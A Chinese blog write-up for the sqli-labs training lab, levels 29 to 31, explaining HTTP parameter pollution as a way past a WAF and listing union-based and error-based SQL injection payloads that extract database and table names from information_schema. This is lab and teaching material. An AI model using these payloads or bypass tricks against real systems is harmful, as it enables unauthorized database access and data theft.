美文网首页
sqli-labs level29-31 参数污染绕waf

sqli-labs level29-31 参数污染绕waf

作者: z1挂东南 | 来源:发表于2019-08-05 11:40 被阅读0次
先简单的介绍一下参数污染:

HTTP参数污染原理:通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的。针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样:

1.png

使用参数污染可以绕过某些WAF,例:

$sql = "select * from admin where id=1";
$sql=$sql."".$_POST['bbs'];
echo $sql;
$pattern='/^.*union.*$/';
if(preg_match($pattern, $sql))
{echo "注入测试";}

在特定情况下 bbs=u&bbs=n&bbs=i&bbs=o&bbs=n&bbs=select 1,user(),3
可以绕过一些waf,在CTF中也有出现。将参数分离写入,waf在输入之后就开始拦截,在后端又拼接成完整的union,根据一些特定服务器就可以绕过waf进行注入。

第二十九关

联合注入,单引号闭合。


2.png

这里的正则会检测id值是不是只有数字,如果不是则会跳转到hacked.php。我在网上看到的教程这关是tomcat环境,tomcat在检测到相同的参数名时会使用第一个参数,所以waf会检测第一个参数,检测完没问题后就放行,放行后两个参数在拼接到一起。所以payload:?id=1.1&id=' union select 1,2,3 --+
但是我的源码环境是php/apache,而且payload也可以用,所以我猜测当时把jsp文件改成php文件的大佬也保留了tomcat的特性。
接下来就是联合查询注入了:
数据库:
?id=1.1&id=' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
数据表:
?id=1.1&id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

第三十关

参数污染,双引号闭合,题目是盲注,但是感觉盲注不了,因为这样写都返回false:
?id=1&id=" and 1=1 --+

3.png

所以还是和29关一样联合查询注入,双引号闭合,将29关的单引号改成双引号即可。
数据库:?id=1&id=" union select 1,2,database() --+

第三十一关

参数污染,和29关思路一样,双引号括号闭合。
数据库:
?id=1&id=") union select 1,count(*),concat(0x7e,(select database()),floor(rand(14)*2),0x7e)a from information_schema.tables group by a --+

4.png

数据表:
?id=1&id=") union select 1,count(*),concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(14)*2),0x7e) as a from information_schema.tables group by a--+

5.png

相关文章

  • sqli-labs level29-31 参数污染绕waf

    先简单的介绍一下参数污染: HTTP参数污染原理:通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议...

  • sql注入之参数污染绕waf

    hpp参数污染了解 HPP是HTTP Parameter Pollution的缩写。 这个漏洞由S. di Pao...

  • upload-labs Pass-1-2

    昨天期中考试所以断了几天前两周刷了一下sqli-labs,大部分都写了除了waf绕过和盲注脚本部分,waf绕过因为...

  • sqli-labs write up

    sqli-labs [TOC] Less-1: error based string 判断参数ID类型?id=1 ...

  • CTF常见Web题型

    0x01 Web 一、爆破,包括包括md5、爆破随机数、验证码识别等 二、绕WAF,包括花式绕Mysql、绕文件读...

  • web出题套路集锦备忘录,欢迎补充

    一、爆破,包括包括md5、爆破随机数、验证码识别等 二、绕WAF,包括花式绕Mysql、绕文件读取关键词检测之类拦...

  • 搭建sqli-labs注入平台

    搭建SQL注入平台 docker搭建sqli-labs 运行sqli-labs 初始化数据库 访问sqli-labs

  • waf--environment

    tengine & waf: 测试openresty安装 waf 部署测试:上传lua编写的waf到conf目录 ...

  • 过WAF

    一.本文介绍 1、本文介绍xss过waf、文件上传过waf、网页马过waf。 二.学习步骤 1、xss过waf的方...

  • SQL注入专题(三)

    一、WAF及绕过WAF原理介绍 WAF的定义: waf,即web应用防火墙,是通过执行一系列针对http/http...

网友评论

      本文标题:sqli-labs level29-31 参数污染绕waf

      本文链接:https://www.haomeiwen.com/subject/erwpdctx.html